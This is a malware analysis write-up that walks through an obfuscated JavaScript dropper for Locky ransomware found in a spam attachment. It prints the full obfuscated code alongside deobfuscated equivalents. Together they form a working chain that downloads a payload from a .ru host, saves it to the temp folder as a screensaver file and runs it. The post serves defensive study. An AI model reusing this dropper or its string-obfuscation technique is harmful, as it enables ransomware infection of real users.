Analysis of a Javascript dropper for Locky

Several days ago, I received an obvious spam with a zip attachment that contained a javascript file inside of it.

So after taking the normal precautions when dealing with potentially hazardous bits&bytes, I started to make my way through that js file.

After it had become obvious that it was indeed hazardous, I immediately uploaded both the zip and the js file to virustotal, and got the categorization of Locky for the submitted js.

Virustotal results

With that out of the way, let’s take a look at the actual js.

JS Walkthrough

    memoirsCandidate = eval(('project', 'experiment', 'mate', 'structure', 'logic',
     'guest', '\u0074flag'.e()) + 'hi' + ('provision', 'icon', 'satellite', 'typical',
     'diction', '\u0073tribune'.e()) + '');

tuple + string = last element of tuple + string, so memoirsCandidate = this.

     memoirsCandidate = memoirsCandidate[('reorganize', 'student', 'illustration',
     'syndicate', 'massive', 'induction', '\u0041bureau'.e()) + 'c' + ('imitation',
     '\u0074problem'.e()) + 'iv' + ('presumption', 'integral', 'taboo', 'club',
     '\u0065episode'.e()) + 'X' + ('progressive', 'essay', 'dessert', 'import',
     '\u004fregime'.e()) + 'b' + ('aquarium', 'antenna', 'vibration',
     '\u006atransform'.e()) + 'ec' + ('finish', 'province', 'fragment', 'sanction',
     'stop', 'packing', '\u0074state'.e()) + ''];
memoirsCandidate = this.ActiveXObject;

And we now know that this Locky dropper is attacking internet explorer users.

     obligationScheme = ('packet', 'square', '\u0052volt'.e()) + 'u' + ('citation',
     'humane', 'calendar', 'routine', 'base', '\u006emagic'.e()) + '';

obligationScheme = 'Run';

     function String.prototype.e(a) {
         return this.charAt(a);
     }

this function extends any object of type string with a function that takes an offset and returns that particular character within the string – if no offset is specified, it defaults to 0 !

     juniorBarrel = new memoirsCandidate(('cosmos', 'chance', 'trajectory', 'double',
     '\u0057condition'.e()) + 'Sc' + ('archive', 'revue', '\u0072patrol'.e()) + 'ip' +
     ('individuality', 'population', '\u0074resident'.e()) + '.' + ('author',
     'technical', 'satellite', 'atom', 'violet', 'museum', '\u0053decoration'.e()) +
     'h' + ('assembly', 'mate', 'company', 'canal', 'army', '\u0065licence'.e()) + 'l'
     + ('scandal', '\u006coffset'.e()) + '');

juniorBarrel = this.ActiveXObject.WScript.Shell;

Looks like it wants a shell via windows scripting host. Old School!

     licenceIndustry = juniorBarrel[('population', '\u0045public'.e()) + 'xp' +
     ('symbol', 'boxing', 'automatic', '\u0061precedent'.e()) + 'n' + ('registry',
     '\u0064facade'.e()) + 'En' + ('essay', 'illegal', 'barrel', 'reaction', 'boxing',
     'cipher', '\u0076corporation'.e()) + 'i' + ('effect', 'statue', 'progressive',
     '\u0072energy'.e()) + 'on' + ('decade', 'refrigerator',
     '\u006dtransportation'.e()) + 'en' + ('gram(me)', 'supermarket', 'organize',
     '\u0074legion'.e()) + 'St' + ('membrane', '\u0072duplicate'.e()) + 'i' +
     ('campaign', 'region', 'rum', '\u006edegradation'.e()) + 'g' + ('investment',
     'recommend', 'double', 'shorts', 'assembly', 'certificate', '\u0073metaphor'.e())
     + ''](('social', 'preventive', 'paradox', 'rocket', 'presumption', 'assortment',
     '\u0025chance'.e()) + 'TE' + ('predicate', 'blockade', 'reaction', 'cooperation',
     'instance', '\u004dbroker'.e()) + 'P%' + ('syndicate', 'generation', 'synthesis',
     'generation', '\u002femblem'.e()) + '') + "1fICgsH8" + ('polar',
     '\u002ecooperation'.e()) + 's' + ('reanimation', 'parity', 'profession',
     'object', 'director', 'dogma', '\u0063fortune'.e()) + 'r';

The above translates to

    licenceIndustry = this.ActiveXObject.WScript.Shell.ExpandEnvironmentStrings(
                      '%TEMP%/1fICgsH8.scr');

Woo, we are getting a free screensaver!!11!1

     configurationSubstance = new memoirsCandidate(('morphology', 'morphology',
     'attraction', '\u004dcomposer'.e()) + 'SX' + ('industrial', 'bureaucracy',
     'universe', 'address', 'republic', '\u004dstimulation'.e()) + 'L' + ('control',
     'reason', 'anarchy', 'gigantic', 'group', '\u0032context'.e()) + '.X' +
     ('voyage', 'combination', '\u004dtotal'.e()) + 'LH' + ('control', 'transplant',
     'march', 'plus', '\u0054mask'.e()) + 'T' + ('region', 'report', 'moral', 'chaos',
     'test', '\u0050membrane'.e()) + '');

configurationSubstance = this.MSXML2.XMLHTTP

Meh, AJAX now. too nu-school.

     configurationSubstance[('guide', 'passport', 'flag', 'port', 'formation',
     '\u006fidea'.e()) + 'p' + ('potential', 'photograph', 'abstract', 'portrait',
     'state', '\u0065tragic'.e()) + 'n'](('civilization', 'certificate', 'symptom',
     '\u0047spherical'.e()) + 'ET', ('obligation', 'information', 'real', 'box',
     'period', 'postscript', '\u0068prefix'.e()) + 'tt' + ('assistant', 'lady',
     'quarantine', '\u0070radar'.e()) + ':/' + ('reservoir', '\u002fparole'.e()) +
     'mo' + ('passport', 'invalid', 'delegate', '\u006enatural'.e()) + 'de' +
     ('relaxation', 'switch', 'motor', 'packing', 'official', '\u0072meridian'.e()) +
     'o' + ('decoration', '\u002eevolution'.e()) + 'ru' + ('acoustic', 'meeting',
     'diploma', 'automobile', 'academy', 'aggregate', '\u002fservice'.e()) + 'sy' +
     ('order', 'legal', '\u0073visit'.e()) + 't' + ('instance', '\u0065disk'.e()) +
     'm/' + ('vacuum', '\u006cinflation'.e()) + 'o' + ('arbiter', 'photograph',
     'association', 'cortege', '\u0067presumption'.e()) + 's' + ('fatal', 'dialogue',
     'park', 'supermarket', '\u002fopponent'.e()) + '56' + ('patrol', 'method',
     'registry', 'saturation', 'bottle', 'configuration', '\u0079rotation'.e()) + '4'
     + ('contrast', 'isolate', 'alternative', '\u0067identical'.e()) + '4' +
     ('interval', 'volt', 'minimal', '\u0035bank'.e()) + 'g' + ('rotation', 'imitate',
     'homogeneous', 'cabin', 'province', '\u0068airplane'.e()) + '4' + ('reason',
     'transit', '\u0035transplant'.e()) + 'h',
     ((1 & 0) ^ (1 * 1)) == ((0 + 0) + (43 - 43)));

this.MSXML2.XMLHTTP.open('GET', 'http://<CENSORED>.ru/system/logs/56y4g45gh45h', false);

     configurationSubstance[('registry', 'immune', 'transplant', 'moment', 'opera',
     '\u0073disk'.e()) + 'en' + ('examine', '\u0064commerce'.e()) + '']();

this.MSXML2.XMLHTTP.send();

     while (configurationSubstance[('prize', 'manuscript', 'formula', 'satellite',
     'numeral', '\u0072cent'.e()) + 'ea' + ('ocean', '\u0064regression'.e()) + 'ys' +
     ('saturation', 'amphibian', 'file', 'regenerate', '\u0074vulgar'.e()) + 'at' +
     ('regenerate', 'aspect', 'human', '\u0065distant'.e()) + ''] < ((25 - 24) * (4 | 4))) {
         this[('base', 'radio', 'arctic', 'experiment', 'contribution',
     '\u0057symmetry'.e()) + 'S' + ('cybernetics', 'speculation', 'examination',
     'information', 'informer', '\u0063expert'.e()) + 'r' + ('artillery', 'port',
     '\u0069acrobat'.e()) + 'p' + ('reservation', '\u0074bandage'.e()) + '']
    [('statistical', 'rational', '\u0053planet'.e()) + 'l' + ('flag', 'diameter',
     'boom', '\u0065index'.e()) + 'ep'](((1 * 88) + (74 - 62)));
     }

this is the same as

        while(this.MSXML2.XMLHTTP.readystate < 4) {
            this.WScript.Sleep(100);
        }
     budgetPassion = new memoirsCandidate(('effect', 'presumption', 'cabinet',
     '\u0041operation'.e()) + 'DO' + ('amputate', 'version', 'spiral', 'attestation',
     '\u0044chief'.e()) + 'B.' + ('collection', 'alternative', 'regime', 'violet',
     'broker', '\u0053image'.e()) + 't' + ('calendar', '\u0072stimulus'.e()) + 'e' +
     ('computer', 'lexicon', 'progressive', 'predicate', '\u0061blank'.e()) + 'm');

budgetPassion = this.ADODBStream;

     try {
         budgetPassion[('sector', 'cosmos', 'operation', 'experiment', 'regulate',
     'perspective', '\u006fecho'.e()) + 'pe' + ('massive', 'metaphor', 'intellect',
     'publication', 'norm', '\u006ecommand'.e()) + '']();
         budgetPassion[('phenomenon', 'title', 'rank', 'sanction', 'salute',
     '\u0074theoretic'.e()) + 'y' + ('identical', '\u0070astronaut'.e()) + 'e'] = ((23 * 2 + 4) - (7 ^ 54));
         budgetPassion[('central', 'proportional', 'final', 'infection',
     '\u0077distant'.e()) + 'ri' + ('transport', 'alphabet', '\u0074service'.e()) +
     'e'](configurationSubstance[('file', 'boom', 'defect', 'toxic',
     '\u0052figure'.e()) + 'es' + ('abstract', 'terror', 'guest', 'scandal',
     '\u0070pulse'.e()) + 'o' + ('report', 'realization', '\u006ecriteria'.e()) + 's'
     + ('infinitive', 'client', '\u0065port'.e()) + 'Bo' + ('finish', 'avenue',
     'interpret', 'hall', '\u0064test'.e()) + 'y']);
         budgetPassion[('demon', 'delegate', 'compilation', 'commerce', 'phrase',
     'command', '\u0070suffix'.e()) + 'os' + ('demon', '\u0069integral'.e()) + 'ti' +
     ('photograph', 'phase', 'facade', 'tandem', '\u006fbeast'.e()) + 'n'] = ((0 / 6) | (0 & 0));
         try {
             budgetPassion[('effective', 'diploma', 'confidential', '\u0073solo'.e())
     + 'av' + ('disk', 'article', 'culture', '\u0065informer'.e()) + 'T' + ('radical',
     'control', 'reserve', 'function', '\u006fjungle'.e()) + 'Fi' + ('park',
     '\u006ctransmission'.e()) + 'e'](licenceIndustry, ((0 | 18) - (9 + 7)));
             budgetPassion[('morphology', 'boat', 'block', '\u0063tender'.e()) + 'l' +
     ('motivate', 'guest', '\u006foffice'.e()) + 'se']();
             juniorBarrel[obligationScheme](licenceIndustry);
         } catch (depositMeridian) {};
     } catch (depositMeridian) {};

This is the same as

        try {
            this.ADODBStream.open();
            this.ADODBStream.type = 1; // binary
            this.ADODBStream.write(this.MSXML2.XMLHTTP.ResponseBody);
            this.ADODBStream.position = 0;
            try {
                this.ADODBStream.saveToFile('%TEMP%/1fICgsH8.scr', adSaveCreateOverWrite);
                this.ADODBStream.close();
                this.ActiveXObject.WScript.Shell.Run('%TEMP%/1fICgsH8.scr');
            }
        }

When I tried to download the actual malware, 6 hours after I had received the spam, the russian authorities had already closed down that URL and warned people that malicious content was previously hosted on there.